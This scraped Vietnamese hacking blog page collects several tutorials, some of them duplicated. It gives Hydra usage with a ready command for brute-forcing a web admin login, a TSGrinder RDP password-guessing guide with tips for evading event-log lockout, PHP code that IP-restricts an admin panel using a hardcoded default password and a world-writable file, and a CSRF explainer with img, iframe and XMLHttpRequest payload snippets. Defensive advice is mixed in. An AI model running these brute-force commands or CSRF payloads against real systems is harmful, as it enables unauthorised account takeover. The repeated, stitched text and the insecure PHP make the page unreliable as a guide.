Các tùy chọn:
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
Options:
-R restore a previous aborted/crashed session
-S connect via SSL
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-e ns additional checks, "n" for null password, "s" try login as pass
-C FILE colon seperated "login:pass" format, instead of -L/-P options
-M FILE server list for parallel attacks, one entry per line
-o FILE write found login/password pairs to FILE instead of stdout
-f exit after the first found login/password pair (per host if -M)
-t TASKS run TASKS number of connects in parallel (default: 16)
-w TIME defines the max wait time in seconds for responses (default: 30)
-v / -V verbose mode / show login+pass combination for each attempt
server the target server (use either this OR the -M option)
service the service to crack. Supported protocols: telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
OPT some service modules need special input (see README!)
Để brute force được form thì service chọn http-{get|post}-form chọn phương thức cho phù hợp(GET|POST).
Cú pháp:hydra -l {username} -P {password list path} -s {port} -f {Site Address} http-post-form "{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failed login text
VD:
Victim sử dụng phương thức POST
<form method="POST">
<input type="text" name="user" />
<inbut ... name="pass" />
<input type="submit" name="login" />
</form>
user=(user input)
pass=(user input)
submit=Login
hydra -l admin -P dictionary.txt vietmatrix.com http-post-form "/admin/index.php:user=^USER^&pass=^PASS^:đăng nhập sai!"
Soft mien phi ,hoc tap ,hack website,hack game,tai lieu aptech,du an,project thong tin dai hoc ,ung dung androind
Tuesday, October 9, 2012
Video mô tả tấn công XSS
Video mô tả tấn công XSS (Cross Site Scripting), video mô tả rất chi tiết.
Link download:
Chúc các bạn nghiên cứu thành công và vui vẻ.
Nguồn OWASP.
Link download:
http://www.mediafire...2jcmyhbo6rbhfliPass giải nén nếu có: vietmatrix.net
Chúc các bạn nghiên cứu thành công và vui vẻ.
Nguồn OWASP.
Tấn công hệ thống Terminal Server bằng kĩ thuật Brute Force Hacking
Một trong những kĩ thuật hay được các hacker sử dụng để thâm nhập vào mạng của bạn đó là Đoán (thử) password. Kĩ thuật này được sử dụng cả trong mạng nội bộ cũng như kết nối từ xa từ 1 mạng khác. Trong bài này chúng ta sẽ tìm hiểu cách các hacker sử dụng các công cụ để hack password của hệ thống Terminal Server và cách chống lại kĩ thuật này.
Những thuật ngữ sử dụng trong bài:
Trước khi vào chủ đề chính, để dễ hiểu hơn, tôi sẽ nói một chút về một số thuật ngữ về hack password. Căn bản có 2 loại tấn công để hack password:
-Brute force hacking: sử dùng bộ từ điển để tấn công
-Password cr@cking: tấn công vào bảng Hash
Trong bài này thì chúng ta tập trung tìm hiểu về Brute force hacking, đơn giản đó là cách các hacker sử dụng một tool mà tự động lần lượt thử tất cả các password trong bộ từ điển password để cố gắng đăng nhập vào hệ thống.
Đoán (thử) password là 1 trong những kĩ thuật cũ nhất nhưng lại có hiệu quả nhất để cố gắng truy cập vào 1 hệ thống. Bởi vì đa số người dùng cũng như các quản trị mạng sử dụng các password không phức tạp. Ví dụ đặt password đăng nhập hệ thống là admin, 123456, ngày sinh, tên, ...v..v. chứ ít người đặt pass là “Tr15%^<!+” hay các password có độ fức tạp tương tự.
Cách thực hiện:
Có nhiều phần mềm có thể sử dụng để Brute force password của hệ thống Terminal Server. Nhưng nổi tiếng nhất là 1 tool hoàn toàn miễn fí : TSGrinder . TSGrinder sử dụng dòng lệnh, tự động thử password thông qua kết nối RDP (Remote Desktop Protocol). TSGrinder có kèm theo 1 bộ từ điển password, hỗ trợ nhiều tấn công vào windows từ 1 bộ từ điển (bạn có thể chọn loại từ điển cần dùng bằng dòng lệnh trên cửa sổ chương trình)
Một tính năng rất hay của chương trình này là khả năng đối phó với các password dạng như : longlanh thì đặt là l0ngl@nh ( thay a = @ và o = 0 )...mà ko cần fải thay đổi bộ từ điển sẵn có.
Tính năng khác của chương trình là nhận biết các thông điệp khi bạn đăng nhập vào hệ thống, bạn có thể tìm hiểu về các thông điệp này ở mục Computer Policies > Security Settings > Local Policies > Security Settings > Interactive Logon
Tính năng này có trong các bản cũ của TSGrinder tuy nhiên hiện tại ko khai thác đc do lỗi này đã đc sửa chữa và khi tấn công bằng cách này thì sẽ thu đc các thông điệp vô nghĩa.
TSGrinder còn hỗ trợ dùng nhiều cửa sổ dòng lệnh để thử nhiều password trong cùng 1 kết nối, cho phép bạn chỉ định thử Username và password bao nhiêu lần trong 1 kết nối ( mặc định chỉ là 5 lần ). Các hacker đã sử dụng tính năng này để ko bị tự động ngắt kết nối với hệ thống Terminal Server sau 5 lần đăng nhập ko thành công, và thông tin của các lần đăng nhập này sẽ bị ghi vào Nhật kí hệ thống EVENT log :

Với cấu hình mặc định của TSGrinder cho phép bạn thử khoảng 1,000,000 password và không bị lưu lại thông tin đăng nhập ở EVENT log
TSGrinder có kèm theo 1 bộ từ điển mặc định cho người dùng, nhưng bạn có thể tìm và bổ sung thêm các bộ từ điển khác lớn hơn.
Ta xem qua về cấu trúc lệnh của TSGrinder :
QUOTE
Cách dùng:
tsgrinder.exe [options] server
Các lựac chọn:
-w dictionary file (default 'dict')
-l 'leet' translation file
-d domain name
-u username (default 'administrator')
-b banner flag
-n number of simultaneous threads
-D debug level (default 9, lower number is more output)
Ví dụ:
tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
Bạn có thể thấy cách dùng khá là đơn giản và có thể thử nghiệm trên chính Terminal Server của bạn và thao tác cũng sẽ giống như thao tác để tấn công một Terminal Server khác.
Một ví dụ đơn giản:
-Ta có 1 bộ từ điển password với tên “testdict”
-1 bộ từ điển dịch các kí tự kiểu như: @ = a, 4 = a, 9 = g,>< = x ( gọi là “Leetfile” tham khảo thêm tại đây: leet - Wikipedia, the free encyclopedia )
-Tấn công User mặc định là Administrator
-Nhận biết đc các thông điệp đăng nhập
-Chỉ sử dụng 1 tấn công 1 lúc
-IP của Terminal Server sẽ tấn công là 192.168.62.53
Ta sẽ sử dụng dòng lệnh sau:
tsgrinder.exe -w testdict -l testleet -b -n 1 -D 8 192.168.62.53
Bạn có thế thấy ở hình dưới TSGrinder đang thử password của Administrator là P@55w0rd

Cách phòng chống kĩ thuật Brute force hacking:
Giờ bạn đã thấy hệ thống Terminal Server của bạn rất dễ bị tấn công. Đây là một vài gợi ý cụ thể có thể giúp bạn chống lại loại cách tấn công này:
Đổi tên tài khoản Administrator
Bạn nên hiểu rằng đổi tên tài khoản Administrator là cách tốt nhất. Khi bạn đổi tên tài khoản Administrator cục bộ, Hacker sẽ không thể dựa vào tài khoản mặc định này để tấn công mà sẽ phải biết tên sau khi đc đổi thì mới có thể thực hiện phương án tấn công.
Bảo mật kết nối
Dựa trên ý tưởng : Các User sẽ bị kiểm tra trước khi họ cố gắng đăng nhập vào hệ thống Terminal Server, có rất nhiều công cụ nhưng có 1 chương trình miễn fi có thể làm công việc đó là 2X SecureRDP. 2X SecureRDP sẽ chấp nhận hoặc từ chối các kết nối RDP từ địa chỉ IP, địa chỉ MAC, tên máy, phiên bản của các Máy con hay dựa vào thời gian trong ngày trước khi đưa ra màn hình đăng nhập cho User. Chương trình này sẽ giúp bạn kiểm soát chặt chẽ hơn hệ thống Terminal Server. Nó còn giúp bạn hạn chế số lượng kết nối của người dùng trong 1 phiên làm việc.
Một tính năng hữu dụng khác của chương trình này là có thể ghi lại thông tin của các kết nối thành công hay thất bại và lưu lại thành 1 file.
2X SecureRDP rất phù hợp cho các Terminal Server kết nối thông qua RDP
Dù ko hoàn toàn có thể chống lại tấn công Brute force hacking nhưng đây là công cụ tốt nhất cho những người quản trị. Giao diện của 2X SecureRDP:

Kiểm định đăng nhập
Bật chức năng kiểm định đăng nhập. Dù việc này ko hẳn ngăn chặn đc Brute force hacking nhưng nó giúp bạn nắm đc các dấu vết về kĩ thuật tấn công này trên mạng của bạn.
Bạn nên chọn kiểm định cả các đăng nhập thành công lẫn thất bại. Do việc này có thể làm Nhật kí sự kiện (EVENT logs) của bạn bị đầy nếu mạng rộng và có mật độ đăng nhập cao, bạn nên dùng 1 công cụ tự động kiểm định đăng nhập.
Loại công cụ này sẽ kiểm soát và lọc các sự kiện đăng nhập giúp bạn dễ dàng kiểm tra cũng như đc thông báo khi có vấn đề xảy ra. Có thể kể đến một vài chương trình thông dụng như: SELM from GFI(Security Event Log Monitor). Bạn có thể xem thêm tại đây http://www.windowsec....og-Monitoring/
Thông điệp đăng nhập
Bạn nên cấu hình cho toàn bộ hệ thống của bạn hiển thị 1 thông điệp khi đăng nhập trước khi người dùng có thể đăng nhập vào hệ thống. Đây thực ra không fải là kĩ thuật để chống lại Brute force hacking nhưng cũng hữu ích cho việc quản lí người dùng.

Hệ thống Terminal Server thực sự là "mồi ngon" cho các hacker. Trong bài này, tôi đã chỉ ra một vài kĩ thuật mà các hacker thường dùng để tấn công tài khoản Administrator. Tôi cũng đã đưa ra bạn phải làm gì để ngăn chặn kiểu tấn công đó. Bạn hãy nhớ rằng đó chỉ là những điểm rất nhỏ trong quá trình bạn thiết lập việc bảo vệ hệ thống Terminal Server, hãy tự xây dựng một phương án bảo mật an toàn hơn cho chính hệ thống Terminal Server của mình.
Những thuật ngữ sử dụng trong bài:
Trước khi vào chủ đề chính, để dễ hiểu hơn, tôi sẽ nói một chút về một số thuật ngữ về hack password. Căn bản có 2 loại tấn công để hack password:
-Brute force hacking: sử dùng bộ từ điển để tấn công
-Password cr@cking: tấn công vào bảng Hash
Trong bài này thì chúng ta tập trung tìm hiểu về Brute force hacking, đơn giản đó là cách các hacker sử dụng một tool mà tự động lần lượt thử tất cả các password trong bộ từ điển password để cố gắng đăng nhập vào hệ thống.
Đoán (thử) password là 1 trong những kĩ thuật cũ nhất nhưng lại có hiệu quả nhất để cố gắng truy cập vào 1 hệ thống. Bởi vì đa số người dùng cũng như các quản trị mạng sử dụng các password không phức tạp. Ví dụ đặt password đăng nhập hệ thống là admin, 123456, ngày sinh, tên, ...v..v. chứ ít người đặt pass là “Tr15%^<!+” hay các password có độ fức tạp tương tự.
Cách thực hiện:
Có nhiều phần mềm có thể sử dụng để Brute force password của hệ thống Terminal Server. Nhưng nổi tiếng nhất là 1 tool hoàn toàn miễn fí : TSGrinder . TSGrinder sử dụng dòng lệnh, tự động thử password thông qua kết nối RDP (Remote Desktop Protocol). TSGrinder có kèm theo 1 bộ từ điển password, hỗ trợ nhiều tấn công vào windows từ 1 bộ từ điển (bạn có thể chọn loại từ điển cần dùng bằng dòng lệnh trên cửa sổ chương trình)
Một tính năng rất hay của chương trình này là khả năng đối phó với các password dạng như : longlanh thì đặt là l0ngl@nh ( thay a = @ và o = 0 )...mà ko cần fải thay đổi bộ từ điển sẵn có.
Tính năng khác của chương trình là nhận biết các thông điệp khi bạn đăng nhập vào hệ thống, bạn có thể tìm hiểu về các thông điệp này ở mục Computer Policies > Security Settings > Local Policies > Security Settings > Interactive Logon
Tính năng này có trong các bản cũ của TSGrinder tuy nhiên hiện tại ko khai thác đc do lỗi này đã đc sửa chữa và khi tấn công bằng cách này thì sẽ thu đc các thông điệp vô nghĩa.
TSGrinder còn hỗ trợ dùng nhiều cửa sổ dòng lệnh để thử nhiều password trong cùng 1 kết nối, cho phép bạn chỉ định thử Username và password bao nhiêu lần trong 1 kết nối ( mặc định chỉ là 5 lần ). Các hacker đã sử dụng tính năng này để ko bị tự động ngắt kết nối với hệ thống Terminal Server sau 5 lần đăng nhập ko thành công, và thông tin của các lần đăng nhập này sẽ bị ghi vào Nhật kí hệ thống EVENT log :
Với cấu hình mặc định của TSGrinder cho phép bạn thử khoảng 1,000,000 password và không bị lưu lại thông tin đăng nhập ở EVENT log
TSGrinder có kèm theo 1 bộ từ điển mặc định cho người dùng, nhưng bạn có thể tìm và bổ sung thêm các bộ từ điển khác lớn hơn.
Ta xem qua về cấu trúc lệnh của TSGrinder :
QUOTE
Cách dùng:
tsgrinder.exe [options] server
Các lựac chọn:
-w dictionary file (default 'dict')
-l 'leet' translation file
-d domain name
-u username (default 'administrator')
-b banner flag
-n number of simultaneous threads
-D debug level (default 9, lower number is more output)
Ví dụ:
tsgrinder.exe -w words -l leet -d workgroup -u administrator -b -n 2 10.1.1.1
Bạn có thể thấy cách dùng khá là đơn giản và có thể thử nghiệm trên chính Terminal Server của bạn và thao tác cũng sẽ giống như thao tác để tấn công một Terminal Server khác.
Một ví dụ đơn giản:
-Ta có 1 bộ từ điển password với tên “testdict”
-1 bộ từ điển dịch các kí tự kiểu như: @ = a, 4 = a, 9 = g,>< = x ( gọi là “Leetfile” tham khảo thêm tại đây: leet - Wikipedia, the free encyclopedia )
-Tấn công User mặc định là Administrator
-Nhận biết đc các thông điệp đăng nhập
-Chỉ sử dụng 1 tấn công 1 lúc
-IP của Terminal Server sẽ tấn công là 192.168.62.53
Ta sẽ sử dụng dòng lệnh sau:
tsgrinder.exe -w testdict -l testleet -b -n 1 -D 8 192.168.62.53
Bạn có thế thấy ở hình dưới TSGrinder đang thử password của Administrator là P@55w0rd
Cách phòng chống kĩ thuật Brute force hacking:
Giờ bạn đã thấy hệ thống Terminal Server của bạn rất dễ bị tấn công. Đây là một vài gợi ý cụ thể có thể giúp bạn chống lại loại cách tấn công này:
Đổi tên tài khoản Administrator
Bạn nên hiểu rằng đổi tên tài khoản Administrator là cách tốt nhất. Khi bạn đổi tên tài khoản Administrator cục bộ, Hacker sẽ không thể dựa vào tài khoản mặc định này để tấn công mà sẽ phải biết tên sau khi đc đổi thì mới có thể thực hiện phương án tấn công.
Bảo mật kết nối
Dựa trên ý tưởng : Các User sẽ bị kiểm tra trước khi họ cố gắng đăng nhập vào hệ thống Terminal Server, có rất nhiều công cụ nhưng có 1 chương trình miễn fi có thể làm công việc đó là 2X SecureRDP. 2X SecureRDP sẽ chấp nhận hoặc từ chối các kết nối RDP từ địa chỉ IP, địa chỉ MAC, tên máy, phiên bản của các Máy con hay dựa vào thời gian trong ngày trước khi đưa ra màn hình đăng nhập cho User. Chương trình này sẽ giúp bạn kiểm soát chặt chẽ hơn hệ thống Terminal Server. Nó còn giúp bạn hạn chế số lượng kết nối của người dùng trong 1 phiên làm việc.
Một tính năng hữu dụng khác của chương trình này là có thể ghi lại thông tin của các kết nối thành công hay thất bại và lưu lại thành 1 file.
2X SecureRDP rất phù hợp cho các Terminal Server kết nối thông qua RDP
Dù ko hoàn toàn có thể chống lại tấn công Brute force hacking nhưng đây là công cụ tốt nhất cho những người quản trị. Giao diện của 2X SecureRDP:
Kiểm định đăng nhập
Bật chức năng kiểm định đăng nhập. Dù việc này ko hẳn ngăn chặn đc Brute force hacking nhưng nó giúp bạn nắm đc các dấu vết về kĩ thuật tấn công này trên mạng của bạn.
Bạn nên chọn kiểm định cả các đăng nhập thành công lẫn thất bại. Do việc này có thể làm Nhật kí sự kiện (EVENT logs) của bạn bị đầy nếu mạng rộng và có mật độ đăng nhập cao, bạn nên dùng 1 công cụ tự động kiểm định đăng nhập.
Loại công cụ này sẽ kiểm soát và lọc các sự kiện đăng nhập giúp bạn dễ dàng kiểm tra cũng như đc thông báo khi có vấn đề xảy ra. Có thể kể đến một vài chương trình thông dụng như: SELM from GFI(Security Event Log Monitor). Bạn có thể xem thêm tại đây http://www.windowsec....og-Monitoring/
Thông điệp đăng nhập
Bạn nên cấu hình cho toàn bộ hệ thống của bạn hiển thị 1 thông điệp khi đăng nhập trước khi người dùng có thể đăng nhập vào hệ thống. Đây thực ra không fải là kĩ thuật để chống lại Brute force hacking nhưng cũng hữu ích cho việc quản lí người dùng.
Hệ thống Terminal Server thực sự là "mồi ngon" cho các hacker. Trong bài này, tôi đã chỉ ra một vài kĩ thuật mà các hacker thường dùng để tấn công tài khoản Administrator. Tôi cũng đã đưa ra bạn phải làm gì để ngăn chặn kiểu tấn công đó. Bạn hãy nhớ rằng đó chỉ là những điểm rất nhỏ trong quá trình bạn thiết lập việc bảo vệ hệ thống Terminal Server, hãy tự xây dựng một phương án bảo mật an toàn hơn cho chính hệ thống Terminal Server của mình.
Bảo mật AdminCP bằng cách gắn địa chỉ IP truy cập
Bảo mật admincp luôn là đề tài hot nhất, việc này đã làm cho nhiều webmaster và cả hacker hao tâm tổn sức. Hum nay tôi xin giới thiệu với các bạn một giải pháp bảo mật hiệu quả cho admincp:
Công dụng của nó ngoài việc đảm bảo chỉ 1 IP được phép login vào admincp. Còn có thêm tính năng đặt biệt giúp bạn có thể dễ dàng update IP đó.
Cách làm:
- Bạn mở file capnhapip.php, chỉinh lại $pass = '12345'; cho phù hợp.
copy và lưu code sau với tên capnhapip.php
- Mở file Security, chỉnh IP hosting của bạn.
lưu code sau với tên security.php
tạo file listip.txt
( file listip.txt không chứa nội dung gì )
- UP 3 file security.php, checkip.php , listip.txt vào thư mục admincp.
- Chmod File listip.txt thành 777.
- Mở file global.php và thêm vào đằng sau <?
Cách sử dụng:
- Truy cập vào địa chỉ: http://yoururl.com/forum/admincp/capnhapip.php
Nhập mật khẩu của bạn để cập nhập địa chỉ IP mới.
Công dụng của nó ngoài việc đảm bảo chỉ 1 IP được phép login vào admincp. Còn có thêm tính năng đặt biệt giúp bạn có thể dễ dàng update IP đó.
Cách làm:
- Bạn mở file capnhapip.php, chỉinh lại $pass = '12345'; cho phù hợp.
copy và lưu code sau với tên capnhapip.php
PHP:
<?php
SESSION_start();$pass = '12345';$file_listip = "listip.txt";?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Kiểm tra IP</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php
$fopen_ip = fopen($file_listip, "r");
while ( !feof($fopen_ip) )
{
$read_ip = fgets($fopen_ip,50);
$ip = explode('<nbb>', $read_ip);
$list_ip[] = $ip[1];
}
fclose($fopen_ip);
if ( in_array($_SERVER['REMOTE_ADDR'], $list_ip) ){
echo "<center>IP của bạn đã được cập nhập sẵn.</center>";
}
else {
if ($_POST[submit]) {
if ($_POST[code] == "$pass") $_SESSION['code'] = "$pass";
}
if (!$_SESSION['code'] || $_SESSION['code'] != "$pass") {
echo "<center><form action='' method=post>
Code: <input type=password name=code> <input type=submit name=submit value=Submit>
</form></center>
";
exit;
}
$new_ip = $_SERVER['REMOTE_ADDR'];
$fp = fopen($file_listip, "a+");
fputs ($fp, "<nbb>$new_ip<nbb>\n");
fclose($fp);
echo "<center>IP của bạn đã được cập nhập thành công.</center>";
}?></body>
</html>lưu code sau với tên security.php
Mã:
<?php
$list_ip = array(
"127.0.0.1", // Local
"203.171.30.107" // IP Hosting
);
$file_listip = "listip.txt";
$fopen_ip = fopen($file_listip, "r");
while ( !feof($fopen_ip) )
{
$read_ip = fgets($fopen_ip,50);
$ip = explode('<nbb>', $read_ip);
$list_ip[] = $ip[1];
}
fclose($fopen_ip);
if ( !in_array($_SERVER['REMOTE_ADDR'], $list_ip) ){
echo "<center>Khong co quyen truy cap</center>";
exit();
}
?>
( file listip.txt không chứa nội dung gì )
- UP 3 file security.php, checkip.php , listip.txt vào thư mục admincp.
- Chmod File listip.txt thành 777.
- Mở file global.php và thêm vào đằng sau <?
Mã:
include("security.php");
- Truy cập vào địa chỉ: http://yoururl.com/forum/admincp/capnhapip.php
Nhập mật khẩu của bạn để cập nhập địa chỉ IP mới.
Bảo mật AdminCP bằng cách gắn địa chỉ IP truy cập
Bảo mật admincp luôn là đề tài hot nhất, việc này đã làm cho nhiều webmaster và cả hacker hao tâm tổn sức. Hum nay tôi xin giới thiệu với các bạn một giải pháp bảo mật hiệu quả cho admincp:
Công dụng của nó ngoài việc đảm bảo chỉ 1 IP được phép login vào admincp. Còn có thêm tính năng đặt biệt giúp bạn có thể dễ dàng update IP đó.
Cách làm:
- Bạn mở file capnhapip.php, chỉinh lại $pass = '12345'; cho phù hợp.
copy và lưu code sau với tên capnhapip.php
- Mở file Security, chỉnh IP hosting của bạn.
lưu code sau với tên security.php
tạo file listip.txt
( file listip.txt không chứa nội dung gì )
- UP 3 file security.php, checkip.php , listip.txt vào thư mục admincp.
- Chmod File listip.txt thành 777.
- Mở file global.php và thêm vào đằng sau <?
Cách sử dụng:
- Truy cập vào địa chỉ: http://yoururl.com/forum/admincp/capnhapip.php
Nhập mật khẩu của bạn để cập nhập địa chỉ IP mới.
Công dụng của nó ngoài việc đảm bảo chỉ 1 IP được phép login vào admincp. Còn có thêm tính năng đặt biệt giúp bạn có thể dễ dàng update IP đó.
Cách làm:
- Bạn mở file capnhapip.php, chỉinh lại $pass = '12345'; cho phù hợp.
copy và lưu code sau với tên capnhapip.php
PHP:
<?php
SESSION_start();$pass = '12345';$file_listip = "listip.txt";?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Kiểm tra IP</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<?php
$fopen_ip = fopen($file_listip, "r");
while ( !feof($fopen_ip) )
{
$read_ip = fgets($fopen_ip,50);
$ip = explode('<nbb>', $read_ip);
$list_ip[] = $ip[1];
}
fclose($fopen_ip);
if ( in_array($_SERVER['REMOTE_ADDR'], $list_ip) ){
echo "<center>IP của bạn đã được cập nhập sẵn.</center>";
}
else {
if ($_POST[submit]) {
if ($_POST[code] == "$pass") $_SESSION['code'] = "$pass";
}
if (!$_SESSION['code'] || $_SESSION['code'] != "$pass") {
echo "<center><form action='' method=post>
Code: <input type=password name=code> <input type=submit name=submit value=Submit>
</form></center>
";
exit;
}
$new_ip = $_SERVER['REMOTE_ADDR'];
$fp = fopen($file_listip, "a+");
fputs ($fp, "<nbb>$new_ip<nbb>\n");
fclose($fp);
echo "<center>IP của bạn đã được cập nhập thành công.</center>";
}?></body>
</html>lưu code sau với tên security.php
Mã:
<?php
$list_ip = array(
"127.0.0.1", // Local
"203.171.30.107" // IP Hosting
);
$file_listip = "listip.txt";
$fopen_ip = fopen($file_listip, "r");
while ( !feof($fopen_ip) )
{
$read_ip = fgets($fopen_ip,50);
$ip = explode('<nbb>', $read_ip);
$list_ip[] = $ip[1];
}
fclose($fopen_ip);
if ( !in_array($_SERVER['REMOTE_ADDR'], $list_ip) ){
echo "<center>Khong co quyen truy cap</center>";
exit();
}
?>
( file listip.txt không chứa nội dung gì )
- UP 3 file security.php, checkip.php , listip.txt vào thư mục admincp.
- Chmod File listip.txt thành 777.
- Mở file global.php và thêm vào đằng sau <?
Mã:
include("security.php");
- Truy cập vào địa chỉ: http://yoururl.com/forum/admincp/capnhapip.php
Nhập mật khẩu của bạn để cập nhập địa chỉ IP mới.
CSRF/XSRF Cross-Site Request Forgery
Sự ra đời của CSRF
Năm 2001, Peter Watkins trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.
CSRF (Cross-Site Request Forgery) là gì?
Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.
Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:
Cookiee và CSRF
Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.
Store CSRF
Phân biệt CSRF vs XSS (Cross-Site Scripting)
Website chỉ sử dụng POST có bị CSRF không
Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.
Các cách khai thác CSRF phổ biến
1. Khai thác qua các thẻ HTML
IMG SRC
SCRIPT SRC
IFRAME SRC
2. Khai thác qua Javascript (Thường dùng cho các request dạng POST)
'Image' Object
'XMLHTTP' Object
IE
Mozilla
Cách Pentest CSRF
Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.
Phòng chống CSRF
Một số quam niệm sai lầm
Sai lầm 1: Sử dụng POST để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 2: Sử dụng Cookie để tránh CSRF. (Đã phân tích ở trên)
Sai lầm 3: Sử dụng Referer có thể khắc phục triệt để được CSRF
Đúng là việc check referer có thể khiến cho việc khai thác CSRF trở nên khó khăn hơn, nhưng điều đó không có nghĩa là bạn có thể dùng nó để chống CSRF. Tốt nhất là hãy code website để nó không mắc lỗi, chứ đừng để nó mắc lỗi mà đi tìm cách chặn kiểu khác thác của nó. Rõ ràng khi site bị CSRF, nếu ta relay thành công một request hợp lệ thì xem như sẽ khai thác được. Cái khó ở đây là website đó đã check referer. Vậy mấu chốt là phải giả được referer. Nếu bạn đã cài được 1 plugin lên trình duyệt của người dùng, thì xem như hết chuyện để nói, còn trên thực tế bạn có thể dùng XMLHTTP hoặc Flash để tạo ra request có referer giả
Vậy rốt cuộc, nên phòng chống CSRF như thế nào? Dưới đây là một số recomment:
1. Synchronizer Token Pattern:
Tạo thêm 1 trường ẩn có giá trị là token
2. Disclosure of Token in URL
Cách này đưa token lên URL, bạn vào các website mà có đường dẫn loằng ngoằng toàn số, chính là loại này.
Kiểu này có đặc điểm là không đẹp, khó SEO.
3. Viewstate (ASP.NET)
4. Double Submit Cookies
Kiểu này thực chất là khá giống kiểu 1, nhưng lấy ngay cookie làm trường ẩn.
Sưu tầm.
Năm 2001, Peter Watkins trong bài viết: "The Dangers of Allowing Users to Post Images" "trên bugtrag đã lần đầu tiên sử dụng thuật ngữ CSRF.
CSRF (Cross-Site Request Forgery) là gì?
Cross-Site Request Forgery (CSRF / XSRF), là kiểu tấn công lừa người sử dụng thực hiện một hành động mà họ không mong muốn lên ứng dụng web, bằng chính quyền của người dùng đó. Sử dụng một số thủ thuật social engineering đơn giản (như gửi link qua email, chát), hacker có thể lừa người dùng thực hiện một số tác vụ lên ứng dụng web bị lỗi CSRF như: xóa bài, thêm người dùng, thay đổi email, thay đổi mật khẩu của victim ... Nếu người bị lừa là Admin, thì hacker hoàn toàn có thể chiếm quyền điều khiển ứng dụng web đó.
Ví dụ: Trong giao diện quản trị admin control panel của một ứng dụng web cho phép admin xóa bài viết bằng request sau?
http://WebSites.com/admincp/index.php?act=delete&id=[color="#FF0000"]ID[/color]
Chuyện gì sẽ xảy ra nếu admin nhận được 1 email,đọc một comment có chèn đoạn code HTML sau:
<img src="http://WebSites.com/admincp/index.php?act=delete&id=[color="#FF0000"]ID[/color]" /Cookiee và CSRF
Nếu website phân biệt người dùng qua Cookie hoặc Session thì liệu có bị CSRF không. Câu trả lời là có. Khi kết nối tới server để load ảnh tại link trên, trình duyệt đã tự động điền cookie, session vào request đó.
Store CSRF
Phân biệt CSRF vs XSS (Cross-Site Scripting)
Website chỉ sử dụng POST có bị CSRF không
Đúng là việc khai thác CSRF qua POST sẽ khó hơn, mức độ nguy hiểm của những lỗi CSRF qua POST vì thế cũng bị đánh giá thấp hơn . Tuy nhiên, phải hiểu rằng, việc truyền biến qua POST không phải là giải pháp cho XSRF.
Các cách khai thác CSRF phổ biến
1. Khai thác qua các thẻ HTML
IMG SRC
<img src="http://host/?command">
SCRIPT SRC
<script src="http://host/?command">
IFRAME SRC
<iframe src="http://host/?command">
2. Khai thác qua Javascript (Thường dùng cho các request dạng POST)
'Image' Object
<script>
var foo = new Image();
foo.src = "http://host/?command";
</script>
'XMLHTTP' Object
IE
<script>
var post_data = 'name=value';
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Mozilla
<script>
var post_data = 'name=value';
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST", 'http://url/path/file.ext', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{
alert(xmlhttp.responseText);
}
};
xmlhttp.send(post_data);
</script>
Ngoài ra còn rất nhiều kiểu khai thác khác nữa như sử dụng VBScript, Action Script, hay dùng các ngôn ngữ XML để thực hiện request.
CSRF ngoài việc khai thác trực tiếp qua trình duyệt, còn có thể khai thác qua Flash, Document file (PDF, DOC, EXEL ...), movie (WMA, AVI..), qua RSS, atom ...
Cách Pentest CSRF
Nếu website cho phép thực hiện các chức năng thông qua các request GET hoặc POST cố định thì có khả năng mắc lỗi CSRF. Tức là nếu mình replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc lỗi.
Phòng chống CSRF
